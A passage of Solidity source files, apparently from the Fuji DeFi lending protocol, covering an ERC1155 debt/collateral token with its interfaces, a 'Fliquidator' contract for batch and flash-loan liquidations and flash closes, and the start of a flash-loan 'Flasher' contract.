require(account != address(0), Errors.VL_ZERO_ADDR_1155);
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
* Requirements:
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, Errors.VL_INPUT_ERROR);
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, Errors.VL_INPUT_ERROR);
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override isTransferActive {
require(to != address(0), Errors.VL_ZERO_ADDR_1155);
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
Errors.VL_MISSING_ERC1155_APPROVAL
);
address operator = _msgSender();
_beforeTokenTransfer(
operator,
from,
to,
_asSingletonArray(id),
_asSingletonArray(amount),
data
);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, Errors.VL_NO_ERC1155_BALANCE);
_balances[id][from] = fromBalance.sub(amount);
_balances[id][to] = uint256(_balances[id][to]).add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override isTransferActive {
require(ids.length == amounts.length, Errors.VL_INPUT_ERROR);
require(to != address(0), Errors.VL_ZERO_ADDR_1155);
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
Errors.VL_MISSING_ERC1155_APPROVAL
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, Errors.VL_NO_ERC1155_BALANCE);
_balances[id][from] = fromBalance.sub(amount);
_balances[id][to] = uint256(_balances[id][to]).add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert(Errors.VL_RECEIVER_REJECT_1155);
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert(Errors.VL_RECEIVER_CONTRACT_NON_1155);
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert(Errors.VL_RECEIVER_REJECT_1155);
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert(Errors.VL_RECEIVER_CONTRACT_NON_1155);
}
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IVault } from "./Vaults/IVault.sol";
import { IFujiAdmin } from "./IFujiAdmin.sol";
import { IFujiERC1155 } from "./FujiERC1155/IFujiERC1155.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Flasher } from "./Flashloans/Flasher.sol";
import { FlashLoan } from "./Flashloans/LibFlashLoan.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { Errors } from "./Libraries/Errors.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { LibUniversalERC20 } from "./Libraries/LibUniversalERC20.sol";
import {
IUniswapV2Router02
} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
interface IVaultExt is IVault {
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
function vAssets() external view returns (VaultAssets memory);
}
interface IFujiERC1155Ext is IFujiERC1155 {
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
}
contract Fliquidator is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using LibUniversalERC20 for IERC20;
struct Factor {
uint64 a;
uint64 b;
}
// Flash Close Fee Factor
Factor public flashCloseF;
IFujiAdmin private _fujiAdmin;
IUniswapV2Router02 public swapper;
// Log Liquidation
event Liquidate(
address indexed userAddr,
address liquidator,
address indexed asset,
uint256 amount
);
// Log FlashClose
event FlashClose(address indexed userAddr, address indexed asset, uint256 amount);
// Log Liquidation
event FlashLiquidate(address userAddr, address liquidator, address indexed asset, uint256 amount);
modifier isAuthorized() {
require(msg.sender == owner(), Errors.VL_NOT_AUTHORIZED);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
modifier isValidVault(address _vaultAddr) {
require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!");
_;
}
constructor() public {
// 1.013
flashCloseF.a = 1013;
flashCloseF.b = 1000;
}
receive() external payable {}
// FLiquidator Core Functions
/**
* @dev Liquidate an undercollaterized debt and get bonus (bonusL in Vault)
* @param _userAddrs: Address array of users whose position is liquidatable
* @param _vault: Address of the vault in where liquidation will occur
*/
function batchLiquidate(address[] calldata _userAddrs, address _vault)
external
nonReentrant
isValidVault(_vault)
{
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
address[] memory formattedUserAddrs = new address[](2 * _userAddrs.length);
uint256[] memory formattedIds = new uint256[](2 * _userAddrs.length);
// Build the required Arrays to query balanceOfBatch from f1155
for (uint256 i = 0; i < _userAddrs.length; i++) {
formattedUserAddrs[2 * i] = _userAddrs[i];
formattedUserAddrs[2 * i + 1] = _userAddrs[i];
formattedIds[2 * i] = vAssets.collateralID;
formattedIds[2 * i + 1] = vAssets.borrowID;
}
// Get user Collateral and Debt Balances
uint256[] memory usrsBals = f1155.balanceOfBatch(formattedUserAddrs, formattedIds);
uint256 neededCollateral;
uint256 debtBalanceTotal;
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
// Compute Amount of Minimum Collateral Required including factors
neededCollateral = IVault(_vault).getNeededCollateralFor(usrsBals[i + 1], true);
// Check if User is liquidatable
if (usrsBals[i] < neededCollateral) {
// If true, add User debt balance to the total balance to be liquidated
debtBalanceTotal = debtBalanceTotal.add(usrsBals[i + 1]);
} else {
// Replace User that is not liquidatable by Zero Address
formattedUserAddrs[i] = address(0);
formattedUserAddrs[i + 1] = address(0);
}
}
// Check there is at least one user liquidatable
require(debtBalanceTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE);
// Check Liquidator Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= debtBalanceTotal,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer borrowAsset funds from the Liquidator to Here
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), debtBalanceTotal);
// Transfer Amount to Vault
IERC20(vAssets.borrowAsset).univTransfer(payable(_vault), debtBalanceTotal);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// Repay BaseProtocol debt
IVault(_vault).payback(int256(debtBalanceTotal));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Compute the Liquidator Bonus bonusL
uint256 globalBonus = IVault(_vault).getLiquidationBonusFor(debtBalanceTotal, false);
// Compute how much collateral needs to be swapt
uint256 globalCollateralInPlay =
_getCollateralInPlay(vAssets.borrowAsset, debtBalanceTotal.add(globalBonus));
// Burn Collateral f1155 tokens for each liquidated user
_burnMultiLoop(formattedUserAddrs, usrsBals, IVault(_vault), f1155, vAssets);
// Withdraw collateral
IVault(_vault).withdraw(int256(globalCollateralInPlay));
// Swap Collateral
_swap(vAssets.borrowAsset, debtBalanceTotal.add(globalBonus), globalCollateralInPlay);
// Transfer to Liquidator the debtBalance + bonus
IERC20(vAssets.borrowAsset).univTransfer(msg.sender, debtBalanceTotal.add(globalBonus));
// Burn Debt f1155 tokens and Emit Liquidation Event for Each Liquidated User
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
if (formattedUserAddrs[i] != address(0)) {
f1155.burn(formattedUserAddrs[i], vAssets.borrowID, usrsBals[i + 1]);
emit Liquidate(formattedUserAddrs[i], msg.sender, vAssets.borrowAsset, usrsBals[i + 1]);
}
}
}
/**
* @dev Initiates a flashloan used to repay partially or fully the debt position of msg.sender
* @param _amount: Pass -1 to fully close debt position, otherwise Amount to be repaid with a flashloan
* @param _vault: The vault address where the debt position exist.
* @param _flashnum: integer identifier of flashloan provider
*/
function flashClose(
int256 _amount,
address _vault,
uint8 _flashnum
) external nonReentrant isValidVault(_vault) {
Flasher flasher = Flasher(payable(_fujiAdmin.getFlasher()));
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// Get user Balances
uint256 userCollateral = f1155.balanceOf(msg.sender, vAssets.collateralID);
uint256 userDebtBalance = f1155.balanceOf(msg.sender, vAssets.borrowID);
// Check Debt is > zero
require(userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
uint256 amount = _amount < 0 ? userDebtBalance : uint256(_amount);
uint256 neededCollateral = IVault(_vault).getNeededCollateralFor(amount, false);
require(userCollateral >= neededCollateral, Errors.VL_UNDERCOLLATERIZED_ERROR);
address[] memory userAddressArray = new address[](1);
userAddressArray[0] = msg.sender;
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.Close,
asset: vAssets.borrowAsset,
amount: amount,
vault: _vault,
newProvider: address(0),
userAddrs: userAddressArray,
userBalances: new uint256[](0),
userliquidator: address(0),
fliquidator: address(this)
});
flasher.initiateFlashloan(info, _flashnum);
}
/**
* @dev Close user's debt position by using a flashloan
* @param _userAddr: user addr to be liquidated
* @param _vault: Vault address
* @param _amount: amount received by Flashloan
* @param _flashloanFee: amount extra charged by flashloan provider
* Emits a {FlashClose} event.
*/
function executeFlashClose(
address payable _userAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external onlyFlash {
// Create Instance of FujiERC1155
IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// Get user Collateral and Debt Balances
uint256 userCollateral = f1155.balanceOf(_userAddr, vAssets.collateralID);
uint256 userDebtBalance = f1155.balanceOf(_userAddr, vAssets.borrowID);
// Get user Collateral + Flash Close Fee to close posisition, for _amount passed
uint256 userCollateralInPlay =
IVault(_vault)
.getNeededCollateralFor(_amount.add(_flashloanFee), false)
.mul(flashCloseF.a)
.div(flashCloseF.b);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// Repay BaseProtocol debt
IVault(_vault).payback(int256(_amount));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Full close
if (_amount == userDebtBalance) {
f1155.burn(_userAddr, vAssets.collateralID, userCollateral);
// Withdraw Full collateral
IVault(_vault).withdraw(int256(userCollateral));
// Send unUsed Collateral to User
IERC20(vAssets.collateralAsset).univTransfer(
_userAddr,
userCollateral.sub(userCollateralInPlay)
);
} else {
f1155.burn(_userAddr, vAssets.collateralID, userCollateralInPlay);
// Withdraw Collateral in play Only
IVault(_vault).withdraw(int256(userCollateralInPlay));
}
// Swap Collateral for underlying to repay Flashloan
uint256 remaining =
_swap(vAssets.borrowAsset, _amount.add(_flashloanFee), userCollateralInPlay);
// Send FlashClose Fee to FujiTreasury
IERC20(vAssets.collateralAsset).univTransfer(_fujiAdmin.getTreasury(), remaining);
// Send flasher the underlying to repay Flashloan
IERC20(vAssets.borrowAsset).univTransfer(
payable(_fujiAdmin.getFlasher()),
_amount.add(_flashloanFee)
);
// Burn Debt f1155 tokens
f1155.burn(_userAddr, vAssets.borrowID, _amount);
emit FlashClose(_userAddr, vAssets.borrowAsset, userDebtBalance);
}
/**
* @dev Initiates a flashloan to liquidate array of undercollaterized debt positions,
* gets bonus (bonusFlashL in Vault)
* @param _userAddrs: Array of Address whose position is liquidatable
* @param _vault: The vault address where the debt position exist.
* @param _flashnum: integer identifier of flashloan provider
*/
function flashBatchLiquidate(
address[] calldata _userAddrs,
address _vault,
uint8 _flashnum
) external isValidVault(_vault) nonReentrant {
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
address[] memory formattedUserAddrs = new address[](2 * _userAddrs.length);
uint256[] memory formattedIds = new uint256[](2 * _userAddrs.length);
// Build the required Arrays to query balanceOfBatch from f1155
for (uint256 i = 0; i < _userAddrs.length; i++) {
formattedUserAddrs[2 * i] = _userAddrs[i];
formattedUserAddrs[2 * i + 1] = _userAddrs[i];
formattedIds[2 * i] = vAssets.collateralID;
formattedIds[2 * i + 1] = vAssets.borrowID;
}
// Get user Collateral and Debt Balances
uint256[] memory usrsBals = f1155.balanceOfBatch(formattedUserAddrs, formattedIds);
uint256 neededCollateral;
uint256 debtBalanceTotal;
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
// Compute Amount of Minimum Collateral Required including factors
neededCollateral = IVault(_vault).getNeededCollateralFor(usrsBals[i + 1], true);
// Check if User is liquidatable
if (usrsBals[i] < neededCollateral) {
// If true, add User debt balance to the total balance to be liquidated
debtBalanceTotal = debtBalanceTotal.add(usrsBals[i + 1]);
} else {
// Replace User that is not liquidatable by Zero Address
formattedUserAddrs[i] = address(0);
formattedUserAddrs[i + 1] = address(0);
}
}
// Check there is at least one user liquidatable
require(debtBalanceTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE);
Flasher flasher = Flasher(payable(_fujiAdmin.getFlasher()));
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.BatchLiquidate,
asset: vAssets.borrowAsset,
amount: debtBalanceTotal,
vault: _vault,
newProvider: address(0),
userAddrs: formattedUserAddrs,
userBalances: usrsBals,
userliquidator: msg.sender,
fliquidator: address(this)
});
flasher.initiateFlashloan(info, _flashnum);
}
/**
* @dev Liquidate a debt position by using a flashloan
* @param _userAddrs: array **See formattedUserAddrs construction in 'function flashBatchLiquidate'
* @param _usrsBals: array **See construction in 'function flashBatchLiquidate'
* @param _liquidatorAddr: liquidator address
* @param _vault: Vault address
* @param _amount: amount of debt to be repaid
* @param _flashloanFee: amount extra charged by flashloan provider
* Emits a {FlashLiquidate} event.
*/
function executeFlashBatchLiquidation(
address[] calldata _userAddrs,
uint256[] calldata _usrsBals,
address _liquidatorAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external onlyFlash {
// Create Instance of FujiERC1155
IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Repay BaseProtocol debt to release collateral
IVault(_vault).payback(int256(_amount));
// Compute the Liquidator Bonus bonusFlashL
uint256 globalBonus = IVault(_vault).getLiquidationBonusFor(_amount, true);
// Compute how much collateral needs to be swapt for all liquidated Users
uint256 globalCollateralInPlay =
_getCollateralInPlay(vAssets.borrowAsset, _amount.add(_flashloanFee).add(globalBonus));
// Burn Collateral f1155 tokens for each liquidated user
_burnMultiLoop(_userAddrs, _usrsBals, IVault(_vault), f1155, vAssets);
// Withdraw collateral
IVault(_vault).withdraw(int256(globalCollateralInPlay));
_swap(vAssets.borrowAsset, _amount.add(_flashloanFee).add(globalBonus), globalCollateralInPlay);
// Send flasher the underlying to repay Flashloan
IERC20(vAssets.borrowAsset).univTransfer(
payable(_fujiAdmin.getFlasher()),
_amount.add(_flashloanFee)
);
// Transfer Bonus bonusFlashL to liquidator, minus FlashloanFee convenience
IERC20(vAssets.borrowAsset).univTransfer(
payable(_liquidatorAddr),
globalBonus.sub(_flashloanFee)
);
// Burn Debt f1155 tokens and Emit Liquidation Event for Each Liquidated User
for (uint256 i = 0; i < _userAddrs.length; i += 2) {
if (_userAddrs[i] != address(0)) {
f1155.burn(_userAddrs[i], vAssets.borrowID, _usrsBals[i + 1]);
emit FlashLiquidate(_userAddrs[i], _liquidatorAddr, vAssets.borrowAsset, _usrsBals[i + 1]);
}
}
}
/**
* @dev Swap an amount of underlying
* @param _borrowAsset: Address of vault borrowAsset
* @param _amountToReceive: amount of underlying to receive
* @param _collateralAmount: collateral Amount sent for swap
*/
function _swap(
address _borrowAsset,
uint256 _amountToReceive,
uint256 _collateralAmount
) internal returns (uint256) {
// Swap Collateral Asset to Borrow Asset
address[] memory path = new address[](2);
path[0] = swapper.WETH();
path[1] = _borrowAsset;
uint256[] memory swapperAmounts =
swapper.swapETHForExactTokens{ value: _collateralAmount }(
_amountToReceive,
path,
address(this),
// solhint-disable-next-line
block.timestamp
);
return _collateralAmount.sub(swapperAmounts[0]);
}
/**
* @dev Get exact amount of collateral to be swapt
* @param _borrowAsset: Address of vault borrowAsset
* @param _amountToReceive: amount of underlying to receive
*/
function _getCollateralInPlay(address _borrowAsset, uint256 _amountToReceive)
internal
view
returns (uint256)
{
address[] memory path = new address[](2);
path[0] = swapper.WETH();
path[1] = _borrowAsset;
uint256[] memory amounts = swapper.getAmountsIn(_amountToReceive, path);
return amounts[0];
}
/**
* @dev Abstracted function to perform MultBatch Burn of Collateral in Batch Liquidation
* checking bonus paid to liquidator by each
* See "function executeFlashBatchLiquidation"
*/
function _burnMultiLoop(
address[] memory _userAddrs,
uint256[] memory _usrsBals,
IVault _vault,
IFujiERC1155 _f1155,
IVaultExt.VaultAssets memory _vAssets
) internal {
uint256 bonusPerUser;
uint256 collateralInPlayPerUser;
for (uint256 i = 0; i < _userAddrs.length; i += 2) {
if (_userAddrs[i] != address(0)) {
bonusPerUser = _vault.getLiquidationBonusFor(_usrsBals[i + 1], true);
collateralInPlayPerUser = _getCollateralInPlay(
_vAssets.borrowAsset,
_usrsBals[i + 1].add(bonusPerUser)
);
_f1155.burn(_userAddrs[i], _vAssets.collateralID, collateralInPlayPerUser);
}
}
}
// Administrative functions
/**
* @dev Set Factors "a" and "b" for a Struct Factor flashcloseF
* For flashCloseF; should be > 1, a/b
* @param _newFactorA: A number
* @param _newFactorB: A number
*/
function setFlashCloseFee(uint64 _newFactorA, uint64 _newFactorB) external isAuthorized {
flashCloseF.a = _newFactorA;
flashCloseF.b = _newFactorB;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external isAuthorized {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Changes the Swapper contract address
* @param _newSwapper: address of new swapper contract
*/
function setSwapper(address _newSwapper) external isAuthorized {
swapper = IUniswapV2Router02(_newSwapper);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
pragma experimental ABIEncoderV2;
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { Errors } from "../Libraries/Errors.sol";
import { ILendingPool, IFlashLoanReceiver } from "./AaveFlashLoans.sol";
import { Actions, Account, DyDxFlashloanBase, ICallee, ISoloMargin } from "./DyDxFlashLoans.sol";
import { ICTokenFlashloan, ICFlashloanReceiver } from "./CreamFlashLoans.sol";
import { FlashLoan } from "./LibFlashLoan.sol";
import { IVault } from "../Vaults/IVault.sol";
interface IFliquidator {
function executeFlashClose(
address _userAddr,
address _vault,
uint256 _amount,
uint256 _flashloanfee
) external;
function executeFlashBatchLiquidation(
address[] calldata _userAddrs,
uint256[] calldata _usrsBals,
address _liquidatorAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external;
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract Flasher is DyDxFlashloanBase, IFlashLoanReceiver, ICFlashloanReceiver, ICallee, Ownable {
using SafeMath for uint256;
using UniERC20 for IERC20;
IFujiAdmin private _fujiAdmin;
address private immutable _aaveLendingPool = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
address private immutable _dydxSoloMargin = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
IFujiMappings private immutable _crMappings =
